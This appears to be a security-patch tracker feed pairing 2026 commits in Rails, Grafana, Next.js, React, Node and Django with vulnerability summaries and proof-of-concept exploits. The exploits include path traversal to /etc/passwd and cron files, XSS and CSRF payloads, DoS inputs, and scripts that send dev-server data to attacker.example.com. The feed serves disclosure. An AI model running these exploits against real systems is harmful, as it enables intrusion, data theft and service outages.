“Exposing patches before CVEs since 2025”
Wednesday, August 12, 2026
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 12 minutes after CVE published
Commit: 5b66fcf531bba92e4a91ae4aac219099d28177d2
Author: Gannon McGibbon
Before the patch, an attacker could send an HTTP Range request with an arbitrarily large byte range (e.g., 'bytes=0-' on a large file) and the server would attempt to download and buffer the entire requested range into memory before sending it. This could exhaust server memory and cause a denial of service. The patch adds a `ranges_valid?` check that rejects any byte ranges whose total size exceeds 100MB (configurable via `ActiveStorage.streaming_chunk_max_size`).
return head(:range_not_satisfiable) if ranges.blank? || ranges.all?(&:blank?)
Send an HTTP GET request with a Range header covering the entire file or a very large portion of a large blob: GET /rails/active_storage/blobs/proxy/:signed_id/:filename HTTP/1.1 Host: target.example.com Range: bytes=0- With a multi-gigabyte file stored, this would cause the server to call blob.download_chunk(0..file_size) and load gigabytes into memory. Multiple concurrent such requests would exhaust available RAM and crash the server process. A multi-range attack is also possible: Range: bytes=0-999999999,1000000000-1999999999
Mar 23, 2026, 10:21 PM — rails/rails
📈 Patch landed 1 day 22 hours 43 minutes before CVE published
Commit: bb78f8cd636db4a0e8a732e9c25f2f9f58b2d058
Author: Jean Boussier
The ActiveStorage streaming controller allowed multi-range HTTP byte range requests without limiting the number of ranges. An attacker could send a request with thousands of byte ranges, causing the server to download and assemble many chunks from storage in memory, exhausting server resources and potentially causing a DoS. The patch adds a configurable `streaming_max_ranges` limit (defaulting to 1) that rejects requests with more ranges than allowed.
ranges = Rack::Utils.get_byte_ranges(range_header, blob.byte_size) return head(:range_not_satisfiable) unless ranges_valid?(ranges) if ranges.length == 1
Send a request with thousands of byte ranges to exhaust server memory/connections: curl -H 'Range: bytes=0-1,2-3,4-5,6-7,8-9,10-11,...(repeat 10000 times)' https://example.com/rails/active_storage/blobs/proxy/SIGNED_ID/file.bin Each range causes a separate blob.download_chunk() call and all data is accumulated in memory (data << chunk), so 10000 ranges against a large file would download massive amounts of data and hold it all in RAM, potentially crashing the Rails server.
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 6 minutes after CVE published
Commit: 64fabbd33c6e4886a6520a357434e0a8935beb5d
Author: Jean Boussier
BigDecimal in Ruby supports scientific notation (e.g., '9e99999999'), allowing an attacker to pass a short string that causes BigDecimal to allocate an enormous amount of memory when converting the number. Before the patch, any user-controlled string passed to number helper functions (like number_to_currency or number_to_percentage) could trigger this via BigDecimal(number). The patch rejects strings containing 'e' or 'd' (scientific notation indicators) before attempting BigDecimal conversion.
when String BigDecimal(number, exception: false)
# Sending a tiny string that causes massive memory allocation:
require 'active_support/number_helper'
include ActiveSupport::NumberHelper
# This causes BigDecimal to allocate gigabytes of memory and hang
number_to_currency('9e99999999') # Before patch: allocates enormous BigDecimal
number_to_currency('1e1000000') # Similarly, causes DoS via memory exhaustion
# In a Rails app, an attacker can send: POST /payments?amount=9e99999999
# which would cause the server process to hang/crash when formatting the number
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 27 minutes after CVE published
Commit: 0dbaa44c5026eabb7ed2eedadefcb2af9033cb94
Author: Jean Boussier
Before the patch, users could set protected metadata keys (analyzed, identified, composed) during a direct upload by including them in the metadata parameter. These keys control internal Active Storage state (e.g., whether a blob has been analyzed or identified), so a malicious user could set 'analyzed: true' or 'identified: true' to bypass file analysis/identification steps that might enforce security policies. The patch filters out these protected keys from user-supplied metadata in create_before_direct_upload!.
def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil) create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name end
POST /rails/active_storage/direct_uploads
Content-Type: application/json
{"blob":{"filename":"malicious.exe","byte_size":1000,"checksum":"abc123","content_type":"application/octet-stream","metadata":{"analyzed":true,"identified":true}}}
This causes the blob to be marked as already analyzed and identified, bypassing any content analysis or identification checks that could enforce content type policies or detect malicious files.
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 27 minutes after CVE published
Commit: 6b313e2caaf7a704bb751b5a4a83fb912dffb9c7
Author: Jean Boussier
The `SafeBuffer#%` method failed to preserve the unsafe status of a SafeBuffer when used for string formatting. Before the patch, formatting an unsafe SafeBuffer (one that had been marked unsafe after mutation via gsub!, etc.) would return a new SafeBuffer that was incorrectly marked as html_safe?, allowing unescaped user input to be rendered as raw HTML. The fix propagates the `@html_unsafe` flag to the result of `%` formatting.
def %(args)
case args
when Hash
escaped_args = args.transform_values { |arg| explicit_html_escape_interpolated_argument(arg) }
else
escaped_args = Array(args).map { |arg| explicit_html_escape_interpolated_argument(arg) }
end
self.class.new(super(escaped_args))
end
# Before the patch:
unsafe_buffer = ActiveSupport::SafeBuffer.new
unsafe_buffer.gsub!('', '<%{name}>') # marks buffer as unsafe
puts unsafe_buffer.html_safe? # => false (correct)
result = unsafe_buffer % { name: '<script>alert(1)</script>' }
puts result.html_safe? # => true (BUG! should be false)
# result contains unescaped '<script>alert(1)</script>' and is treated as safe
# When rendered in a Rails view, this would output raw script tags without escaping
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 4 minutes after CVE published
Commit: 1a5e2f6a4140954fd99c875c362c45d15e25204c
Author: Mike Dalessio
ActiveStorage's DiskService allowed path traversal via blob keys containing segments like '../../etc/passwd'. The `path_for` method directly joined the root directory with user-controlled key values without validating that the resolved path stayed within the storage root, allowing attackers to read or write arbitrary files on the server filesystem. The patch adds validation that rejects keys with dot segments and verifies the resolved path remains within the storage root directory.
def path_for(key) # :nodoc: File.join root, folder_for(key), key end
# Attacker generates a valid signed URL with a path traversal key (e.g., by intercepting/forging a blob_key token)
# OR if the application allows custom blob keys from user input:
# Step 1: Generate a signed blob key token with traversal payload
encoded_key = ActiveStorage.verifier.generate(
{ key: "../../etc/passwd", disposition: "inline", content_type: "text/plain", service_name: "local" },
purpose: :blob_key
)
# Step 2: Request the file via DiskController
# GET /rails/active_storage/disk/<encoded_key>/hello.txt
# DiskService#path_for("../../etc/passwd") resolves to /storage_root/xx/yy/../../etc/passwd => /etc/passwd
# Server responds with contents of /etc/passwd
# Similarly for write (direct upload):
encoded_token = ActiveStorage.verifier.generate(
{ key: "../../etc/cron.d/evil", content_type: "text/plain", content_length: 20, checksum: "...", service_name: "local" },
purpose: :blob_token
)
# PUT /rails/active_storage/disk/<encoded_token> with malicious payload writes to /etc/cron.d/evil
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 2 minutes after CVE published
Commit: 8fdf7da36dcf6587014bbbfed329439303c29e17
Author: Mike Dalessio
Before the patch, `DiskService#delete_prefixed` passed a user-influenced blob key directly into `Dir.glob` without escaping glob metacharacters. If a blob key contained characters like `*`, `?`, `\[`, `\]`, `{`, or `}`, the glob expansion could match and delete unintended files on the filesystem. The patch escapes all glob metacharacters in the resolved path before passing it to `Dir.glob`.
def delete_prefixed(prefix)
instrument :delete_prefixed, prefix: prefix do
Dir.glob(path_for("#{prefix}*")).each do |path|
FileUtils.rm_rf(path)
end
end
end
# Attacker uploads a blob with a key containing glob metacharacters:
# key = "abc*/sensitive_data"
# When Blob#delete is called, it invokes delete_prefixed with a prefix derived from this key.
# The resulting Dir.glob call becomes:
# Dir.glob("/storage/root/abc*/sensitive_data*")
# This matches ALL directories starting with 'abc' followed by any characters,
# potentially deleting files belonging to other blobs or even other application data.
# Concrete example:
service = ActiveStorage::Service::DiskService.new(root: "/var/storage")
# If prefix = "ab*" (derived from a crafted blob key)
# Dir.glob("/var/storage/ab**") expands to match ALL files under /var/storage starting with 'ab'
# effectively wiping out all blobs whose storage path starts with 'ab'
service.delete_prefixed("ab*") # Before patch: deletes all files matching /var/storage/ab**
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 30 minutes after CVE published
Commit: 12db70157c45a4b47a6f53ddad1217674fb2bb32
Author: Mike Dalessio
When a blank string is used as an HTML attribute name in Rails Action View tag helpers, `xml_name_escape` returns an empty string, producing malformed HTML like `<img src="/safe.png" ="/onerror=alert(1)">`. This malformed HTML can be parsed differently by different HTML parsers, enabling mutation XSS attacks where a browser's HTML parser interprets the malformed attribute as executable code. The patch fixes this by skipping blank attribute keys before they are rendered into HTML.
options.each_pair do |key, value|
type = TAG_TYPES[key]
if type == :data && value.is_a?(Hash)
value.each_pair do |k, v|
next if v.nil?
# In a Rails view, attacker-controlled data reaches tag helper:
tag("img", "src" => "/nonexistent.png", "" => "/onerror=alert(1)")
# Produces before patch: <img src="/nonexistent.png" ="/onerror=alert(1)" />
# The blank attribute name with value containing event handler can be interpreted
# by some HTML parsers as: <img src="/nonexistent.png" /onerror=alert(1)>
# triggering JavaScript execution (mXSS). Reference: HackerOne report #3078929
Mar 23, 2026, 10:21 PM — rails/rails
Patch landed 1 hour 36 minutes after CVE published
Commit: 4df808965b4a1e42cbd4a3ad0764d30a18a5e1b1
Author: John Hawthorn
The debug exceptions layout template used `raw` to output the exception message inside a `<script type="text/plain">` tag without HTML escaping. An attacker who can trigger an exception with a crafted message containing HTML/JavaScript could inject arbitrary script tags that would be rendered in the browser. The patch removes `raw` to use default ERB HTML escaping, ensuring special characters like `<`, `>` are escaped.
<script type="text/plain" id="exception-message-for-copy"><%= raw @exception_message_for_copy %></script>
Trigger an exception with message: `x</script><script>alert(1)</script>` (e.g., `raise "x</script><script>alert(1)</script>"`). Before the patch, visiting the error page would execute `alert(1)` in the browser because the raw exception message closes the existing script tag and opens a new executable one. After the patch, the output is HTML-escaped as `<script>alert(1)</script>`.
Mar 20, 2026, 11:02 PM — grafana/grafana
Commit: aa672a797770c7e29cbb80875d6cd85b352e589b
Author: Tito Lins
Before this patch, the GET /api/alertmanager/grafana/config/api/v1/alerts endpoint (which returns the raw Alertmanager configuration blob, potentially containing sensitive credentials like SMTP passwords, webhook secrets, and API tokens) was accessible to any user with the broad 'alert.notifications:read' permission, which was granted to Viewers and Editors. Similarly, GET /config/history and POST /config/history/{id}/_activate were accessible to users with alert.notifications:read/write. The patch restricts these endpoints to admin-only via new fine-grained RBAC actions (alert.notifications.config-history:read/write).
case http.MethodGet + "/api/alertmanager/grafana/config/api/v1/alerts":
eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)
case http.MethodGet + "/api/alertmanager/grafana/config/history":
eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)
As a non-admin Grafana user (Viewer or Editor role) with alert.notifications:read permission, send: GET /api/alertmanager/grafana/config/api/v1/alerts with a valid session cookie. Before the patch, this returns the full raw Alertmanager config including SMTP credentials, webhook URLs with secrets, and API keys. Example: curl -H 'Cookie: grafana_session=<viewer_session>' https://grafana.example.com/api/alertmanager/grafana/config/api/v1/alerts
Mar 19, 2026, 11:44 AM — grafana/grafana
Commit: c62113ee12932fe16cfd755319fdae721597a0ac
Author: Ezequiel Victorero
The Grafana short URL feature allowed authenticated users to create short URLs with arbitrary target paths, including external URLs like `http://evil.com` or protocol-relative URLs like `//evil.com`. When a victim clicked a Grafana short URL, they would be silently redirected to the attacker-controlled external domain. The patch adds validation at both creation time and redirect time to ensure paths are always relative and cannot contain schemes, protocol-relative prefixes, or other external URL patterns.
// No validation of the path before storing or redirecting shortURL, err := hs.ShortURLService.CreateShortURL(c.Req.Context(), c.SignedInUser, cmd) // ... c.Redirect(setting.ToAbsUrl(shortURL.Path), http.StatusFound)
1. Authenticate to Grafana as any signed-in user
2. POST /api/short-urls with body: {"path": "//evil.com/phishing-page"}
3. Receive response with a short URL like: https://grafana.example.com/goto/AbCdEfGh
4. Send this short URL to a victim - when clicked, browser follows redirect to //evil.com/phishing-page (interpreted as https://evil.com/phishing-page)
Alternatively: POST /api/short-urls with body: {"path": "http://evil.com"} to redirect to an explicit external URL.
Mar 18, 2026, 11:18 AM — grafana/grafana
Commit: d46801eda3ebd32a22a2a97d96492c69d3b9b615
Author: Roberto Jiménez Sánchez
Before the patch, a resource manager could be changed directly from one manager to another (e.g., from repo:abc to terraform:xyz) in a single update operation without going through a remove-then-add workflow. This allowed one management system (e.g., Terraform) to silently take over resources managed by another system (e.g., a Git repository), potentially leading to unauthorized control over managed resources and unpredictable reconciliation conflicts. The patch adds an explicit check that blocks any update where both old and new objects have a manager set but with different values, returning HTTP 403.
managerNew, okNew := obj.GetManagerProperties()
managerOld, okOld := old.GetManagerProperties()
if managerNew == managerOld || (okNew && !okOld) { // added manager is OK
return nil
}
// A resource managed by repo:abc can be hijacked by terraform:xyz in one step: // 1. GET /apis/dashboard.grafana.app/v1beta1/namespaces/default/dashboards/dashboard-uid // 2. Modify annotations and PUT/UPDATE: // annotations["grafana.app/manager-kind"] = "terraform" // annotations["grafana.app/manager-identity"] = "attacker-terraform-workspace" // PUT /apis/dashboard.grafana.app/v1beta1/namespaces/default/dashboards/dashboard-uid // Before patch: returns 200 OK, resource is now managed by terraform instead of repo // After patch: returns 403 Forbidden with message 'Cannot change resource manager; remove the existing manager first, then add the new one'
Mar 17, 2026, 11:28 PM — grafana/grafana
Commit: 1c12cf19848d2b11d452c1e37502772fc5a129b9
Author: Stephanie Hingtgen
Before this patch, the Grafana Live push endpoint (`/api/live/push/:streamId`) had no RBAC authorization check, allowing any authenticated user (including Viewers) to push metrics and events to Grafana Live streams. The patch adds an `authorize(ac.EvalPermission(ac.ActionLivePush))` middleware that restricts this endpoint to users with the `live:push` permission (granted to Editors and Admins by default).
liveRoute.Post("/push/:streamId", hs.LivePushGateway.Handle)
As a Viewer-role user with valid session credentials, send: POST /api/live/push/anystream with body `cpu usage=0.5` and a valid session cookie or API key. Before the patch, this would return HTTP 200 and successfully push data to the stream. After the patch, it returns HTTP 403.
Mar 17, 2026, 11:02 PM — vercel/next.js
Patch landed 7 hours 32 minutes after CVE published
Commit: b2b802c043f83b047276df48d93b76d3c742f240
Author: Zack Tanner
Before this patch, Next.js development servers only warned (but did not block) cross-origin requests to internal dev assets and endpoints (/_next/*, /__nextjs*) when `allowedDevOrigins` was not configured. An attacker could craft a malicious webpage that loads or interacts with internal dev-only resources (HMR WebSocket, error feedback endpoints, internal chunks) from any origin. The patch changes the default behavior from warn-only to blocking with a 403 response, preventing unauthorized cross-origin access to dev server internals.
const mode = typeof allowedDevOrigins === 'undefined' ? 'warn' : 'block' // ... return warnOrBlockRequest(res, refererHostname, mode) // ... warnOrBlockRequest(res, originLowerCase, mode)
# Attacker hosts a page at https://attacker.example.com/exploit.html
# Developer is running Next.js dev server at http://localhost:3000
# The following page silently exfiltrates Next.js internal dev chunks or
# makes requests to internal endpoints without being blocked:
<html>
<body>
<script>
// Before patch: this request succeeds with 200 (only a warning in CLI)
fetch('http://localhost:3000/_next/static/chunks/pages/_app.js', {
mode: 'no-cors',
headers: { 'Sec-Fetch-Mode': 'no-cors', 'Sec-Fetch-Site': 'cross-site' }
});
// Or connect to HMR WebSocket to observe file changes
const ws = new WebSocket('ws://localhost:3000/_next/webpack-hmr');
ws.onmessage = (e) => { fetch('https://attacker.example.com/collect?d='+e.data); };
</script>
</body>
</html>
Mar 17, 2026, 06:36 PM — grafana/grafana
Commit: 4eb83a7bcf5a7f4d6e9a7626a8b9deca55e0b6c4
Author: MdTanwer
The MSSQL connection string was built by directly concatenating the username and password without escaping special characters. Since semicolons are used as key-value delimiters in the connection string, a password containing a semicolon would be truncated at the semicolon, allowing authentication bypass or connection to unintended databases. For example, a password like `StrongPass;database=other` would cause the driver to parse `database=other` as a separate connection string parameter.
connStr += fmt.Sprintf("user id=%s;password=%s;", dsInfo.User, dsInfo.DecryptedSecureJSONData["password"])
Set password to: `wrongpass;user id=sa` — the resulting connection string becomes `server=localhost;database=mydb;user id=user;password=wrongpass;user id=sa;` which causes go-mssqldb to use `sa` as the user id (last value wins in many parsers), potentially authenticating as a different user than intended. Alternatively, password=`x;database=master` redirects the connection to the master database regardless of configured database.
Mar 17, 2026, 03:06 PM — grafana/grafana
📈 Patch landed 9 days 6 hours 25 minutes before CVE published
Commit: 329327952e9bc785fddfbd3b1f1e70d64aa42778
Author: Yuri Tseretyan
The provisioning API's `UpdateContactPoint` endpoint did not perform authorization checks for protected fields (e.g., webhook URLs, API keys) before the patch. Any user with access to the provisioning API could modify protected/sensitive fields in contact points without the required `receivers:update.protected` permission, bypassing the security controls enforced by the regular receiver API. The patch adds a `checkProtectedFields` method that verifies the user has appropriate permissions before allowing modifications to protected fields.
func (ecp *ContactPointService) UpdateContactPoint(ctx context.Context, orgID int64, contactPoint apimodels.EmbeddedContactPoint, provenance models.Provenance) error {
A user with provisioning API access but without `receivers:update.protected` permission could send:
PUT /api/v1/provisioning/contact-points/{uid}
Content-Type: application/json
X-Disable-Provenance: true
{"uid":"existing-uid","name":"My Slack","type":"slack","settings":{"url":"https://attacker.com/steal-alerts"},"disableResolveMessage":false}
This would overwrite the protected webhook URL field without the `receivers:update.protected` permission check, allowing an attacker to redirect alert notifications to an attacker-controlled endpoint or exfiltrate alert data.
Mar 17, 2026, 10:50 AM — facebook/react
Commit: 12ba7d81297abac61012a36f20d4a9d22b9210d9
Author: Sebastian "Sebbie" Silbermann
The `$B` (Blob) case in `parseModelString` did not validate that the FormData entry was actually a Blob before returning it. Since `FormData.get()` can return either a string or a Blob/File, an attacker could craft a malformed Server Action payload that stores a large string under a key and references it via `$B`, bypassing the `bumpArrayCount` size guard that applies to regular string values. The patch adds an `instanceof Blob` check that throws an error if the backing entry is not a real Blob, closing this bypass. While the PR notes this doesn't produce meaningful amplification on its own, it is a defense-in-depth fix against potential combined attacks.
const backingEntry: Blob = (response._formData.get(blobKey): any); return backingEntry;
const formData = new FormData();
formData.set('1', '-'.repeat(50000)); // large string, not a Blob
formData.set('0', JSON.stringify(['$B1'])); // reference it as a Blob
await ReactServerDOMServer.decodeReply(formData, webpackServerMap);
// Before patch: returns the large string bypassing blob size guards
// After patch: throws 'Referenced Blob is not a Blob.'
Mar 17, 2026, 01:57 AM — vercel/next.js
📈 Patch landed 13 hours 32 minutes before CVE published
Commit: a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8
Author: Zack Tanner
Before the patch, when the `Origin` header was set to the string `'null'` (which browsers send from privacy-sensitive contexts like sandboxed iframes), Next.js would skip the CSRF origin check entirely because the code treated `'null'` as a missing/invalid origin and fell through without validation. This allowed an attacker to embed a sandboxed iframe that submits a Server Action cross-origin with user credentials (cookies) attached, bypassing CSRF protection. The patch now treats `'null'` as a valid but opaque origin and checks it against the `allowedOrigins` allowlist, blocking unauthorized cross-origin Server Action submissions from sandboxed contexts.
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
Attacker hosts malicious page at https://evil.com with: <iframe sandbox="allow-forms" src="https://evil.com/attack.html"></iframe> attack.html contains: <form method="POST" action="https://victim.com/sensitive-page"> <input name="$ACTION_ID_abc123" value="" /> <input type="submit" /> </form> <script>document.forms[0].submit()</script> Browser sends: Origin: null (opaque origin from sandboxed iframe) Before patch: originDomain = undefined, CSRF check is skipped with only a warning, action executes with victim's cookies. After patch: originHost = 'null', checked against allowedOrigins; since 'null' is not in allowedOrigins, request is rejected with 403/500.
Mar 17, 2026, 01:41 AM — vercel/next.js
📈 Patch landed 14 hours 35 minutes before CVE published
Commit: 00bdb037afd7229072640fd066bc940a26d0084f
Author: Zack Tanner
The commit patches the compiled `http-proxy` / `follow-redirects` library bundled in Next.js, referencing security advisory GHSA-ggv3-7p47-pfv8. The vulnerability involves improper handling of HTTP redirects in the `follow-redirects` library, which could allow an attacker to manipulate redirect targets to leak sensitive request headers (such as Authorization) to unintended hosts or bypass security controls via crafted redirect responses. The patch updates the compiled bundle with fixes to the redirect handling logic.
var r=e.headers.location;if(r&&this._options.followRedirects!==false&&t>=300&&t<400){this._currentRequest.removeAllListeners();this._currentRequest.on("error",noop);this._currentRequest.abort();e.destroy();if(++this._redirectCount>this._options.maxRedirects){this.emit("error",new Error("Max redirects exceeded."));return}
An attacker controls a server that returns a 301 redirect response pointing to an attacker-controlled host. When a Next.js application proxies a request with an Authorization header to the attacker's initial URL, the follow-redirects library follows the redirect and forwards the Authorization header to the attacker's second host: 1. Victim Next.js app makes request: GET https://attacker.com/step1 with 'Authorization: Bearer secret-token' 2. attacker.com/step1 responds: HTTP/1.1 301 Moved Permanently\r\nLocation: https://evil.com/collect\r\n 3. The vulnerable follow-redirects code follows the redirect and sends GET https://evil.com/collect with 'Authorization: Bearer secret-token' 4. Attacker's evil.com receives the sensitive token This is exploitable when Next.js rewrites/proxies user-controlled or partially-controlled URLs with sensitive headers attached.
Mar 17, 2026, 12:42 AM — vercel/next.js
📈 Patch landed 14 hours 47 minutes before CVE published
Commit: 862f9b9bb41d235e0d8cf44aa811e7fd118cee2a
Author: Zack Tanner
Before the patch, WebSocket connections to Next.js dev server endpoints (e.g., /_next/webpack-hmr) were accepted from privacy-sensitive origins (e.g., pages served with 'sandbox' CSP that sets origin to null). The old code only blocked requests when rawOrigin was truthy AND not equal to 'null', meaning requests with origin header 'null' (sent by sandboxed iframes/pages) bypassed origin validation entirely. The patch fixes this by treating a 'null' origin as a defined but non-allowed origin, causing such requests to be blocked.
if (rawOrigin && rawOrigin !== 'null') {
const parsedOrigin = parseUrl(rawOrigin)
if (parsedOrigin) {
const originLowerCase = parsedOrigin.hostname.toLowerCase()
if (!isCsrfOriginAllowed(originLowerCase, allowedOrigins)) {
return warnOrBlockRequest(res, originLowerCase, mode)
}
}
}
return false
1. Attacker hosts a page at http://attacker.com/ with Content-Security-Policy: sandbox allow-scripts (causing browser to send Origin: null for requests)
2. Page contains: <script>const ws = new WebSocket('http://localhost:3000/_next/webpack-hmr'); ws.onmessage = (e) => { fetch('https://attacker.com/collect?d='+encodeURIComponent(e.data)) }</script>
3. Victim (developer) visits http://attacker.com/ while running Next.js dev server
4. Browser sends WebSocket upgrade with Origin: null header
5. Old code skips validation (rawOrigin === 'null' condition exits early), connection is accepted
6. Attacker can receive HMR messages, potentially revealing source code structure or injecting malicious HMR updates
Mar 16, 2026, 11:31 PM — grafana/grafana
Commit: 5c89af649b23157efba5049e3fe459e168696320
Author: Ezequiel Victorero
Before this patch, the Kubernetes API endpoints for dashboard snapshots (GET, LIST, DELETE, POST /create, DELETE /delete/{deleteKey}, GET /settings) used a default `ServiceAuthorizer` that did not enforce RBAC permissions for snapshot resources. Any authenticated user, regardless of their assigned permissions, could read, list, create, and delete snapshots. The patch adds a `SnapshotAuthorizer` that maps K8s verbs to Grafana RBAC actions (`snapshots:read`, `snapshots:create`, `snapshots:delete`) and applies RBAC checks to the custom HTTP routes as well.
func (b *DashboardsAPIBuilder) GetAuthorizer() authorizer.Authorizer {
return grafanaauthorizer.NewServiceAuthorizer()
}
A user with no snapshot permissions (e.g., Org role 'None') can access snapshot data:
GET /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots
-> Returns 200 OK with snapshot list (should be 403 Forbidden)
DELETE /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots/{snapshotKey}
-> Returns 200 OK (should be 403 Forbidden)
POST /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots/create
Body: {"dashboard":{"uid":"existing-uid","title":"test"},"name":"stolen"}
-> Returns 200 OK creating a snapshot (should be 403 Forbidden)
Mar 16, 2026, 07:55 PM — grafana/grafana
Commit: f62299e5de8ed0a002d6ef23b8b7a839a1efa810
Author: Michael Mandrus
Public dashboard CRUD endpoints (Delete, Update, ExistsEnabledByDashboardUid) were only checking the user's role/permissions but not validating that the public dashboard being operated on belonged to the same organization as the requesting user. This allowed an authenticated user with Editor+ permissions in Org B to delete, update, or check the existence of public dashboards belonging to Org A, without having access to the source dashboard. The patch adds org_id checks to all relevant database queries to enforce org isolation.
func (d *PublicDashboardStoreImpl) Delete(ctx context.Context, uid string) (int64, error) {
dashboard := &PublicDashboard{Uid: uid}
var affectedRows int64
err := d.sqlStore.WithDbSession(ctx, func(sess *db.Session) error {
var err error
affectedRows, err = sess.Delete(dashboard)
# Attacker is admin in OrgB (orgId=2), wants to delete a public dashboard in OrgA (orgId=1) # They know the dashboardUid and public dashboard uid from prior reconnaissance curl -X DELETE http://orgb_admin:password@localhost:3000/api/dashboards/uid/orgA_dashboard_uid/public-dashboards/orgA_pubdash_uid # Before patch: deletion succeeds because only RBAC role is checked, not org ownership # The Delete service call was: api.PublicDashboardService.Delete(c.Req.Context(), uid, dashboardUid) # without passing c.GetOrgID(), so the store deleted any public dashboard matching uid regardless of org
Mar 6, 2026, 06:01 AM — nodejs/node
Commit: a06e789625ecb46e3d6ef3e265ee15b37527c44a
Author: Gerhard Stöbich
When pipelined HTTP requests arrive in a single TCP segment, llhttp_execute() processes all of them in one call. If a synchronous 'close' event handler calls freeParser() mid-execution, cleanParser() nulls out parser state while llhttp_execute() is still on the call stack, causing use-after-free/null-pointer dereference crashes on subsequent callbacks. The patch adds an is_being_freed_ flag that causes the Proxy::Raw callback to return early (HPE_USER) when set, aborting llhttp_execute() before it accesses freed/nulled parser state.
if (parser->connectionsList_ != nullptr) {
parser->connectionsList_->Pop(parser);
parser->connectionsList_->PopActive(parser);
}
const { createServer } = require('http');
const { connect } = require('net');
const server = createServer((req, res) => {
// Synchronously emit 'close' to trigger freeParser() while llhttp_execute() is still on the stack
req.socket.emit('close');
res.end();
});
server.listen(0, () => {
const client = connect(server.address().port);
// Send two pipelined requests in one write - processed by a single llhttp_execute() call
// When 'close' fires during first request, parser is freed while second request is still being parsed
client.end(
'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: keep-alive\r\n\r\n' +
'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n'
);
});
// Result before patch: process crashes with SIGSEGV or assertion failure due to null pointer dereference
Mar 3, 2026, 12:09 PM — django/django
📈 Patch landed 3 hours 22 minutes before CVE published
Commit: 019e44f67a8dace67b786e2818938c8691132988
Author: Natalia
In multi-threaded Django applications, the file-based cache backend and filesystem storage used temporary umask changes (via os.umask()) to control directory permissions when creating directories. Because os.umask() is a process-wide operation, a temporary umask change in one thread could affect directory/file creation in other threads, resulting in file system objects being created with unintended (potentially overly permissive) permissions. The patch replaces the umask manipulation approach with a safe_makedirs() function that uses os.chmod() after os.mkdir() to enforce the exact requested permissions.
old_umask = os.umask(0o077)
try:
os.makedirs(self._dir, 0o700, exist_ok=True)
finally:
os.umask(old_umask)
import threading, os, tempfile, time
# In a multi-threaded Django app using FileBasedCache:
# Thread A calls _createdir() which sets umask to 0o077
# Thread B simultaneously creates a file/directory expecting default umask (e.g., 0o022)
# Thread B's file ends up with permissions masked by Thread A's 0o077 umask
# Concrete example:
tmp = tempfile.mkdtemp()
def thread_a():
# Simulates FileBasedCache._createdir() - sets umask to 0o077
os.umask(0o077)
time.sleep(0.01) # holds umask while thread B runs
os.umask(0o022) # restore
def thread_b():
time.sleep(0.005) # starts after thread A changes umask
path = os.path.join(tmp, 'upload_dir')
os.makedirs(path, 0o755, exist_ok=True) # intended: rwxr-xr-x
print(oct(os.stat(path).st_mode)) # actual: 0o700 (too restrictive) due to umask 0o077
ta = threading.Thread(target=thread_a)
tb = threading.Thread(target=thread_b)
ta.start(); tb.start(); ta.join(); tb.join()
Mar 3, 2026, 12:08 PM — django/django
📈 Patch landed 3 hours 22 minutes before CVE published
Commit: 951ffb3832cd83ba672c1e3deae2bda128eb9cca
Author: Natalia
Django's URLField.to_python() used urlsplit() to detect URL schemes, which on Windows performs NFKC Unicode normalization. This normalization is disproportionately slow for inputs containing certain Unicode characters (e.g., characters like '¾'), allowing an attacker to craft a POST payload that causes excessive CPU consumption. The patch replaces urlsplit() with str.partition(':') for scheme detection, avoiding Unicode normalization entirely.
try:
return list(urlsplit(url))
except ValueError:
# urlsplit can raise a ValueError with some
# misformatted URLs.
raise ValidationError(self.error_messages["invalid"], code="invalid")
On Windows, send a POST request with a URLField value containing a large string of Unicode characters that trigger slow NFKC normalization:
import requests
# Craft a payload with characters that cause slow NFKC normalization
payload = {'url_field': 'http://' + '\u00be' * 50000} # '¾' repeated 50000 times
requests.post('http://target-django-app/form/', data=payload)
# This causes urlsplit() to perform slow Unicode normalization on Windows,
# consuming excessive CPU and potentially blocking the server's worker threads.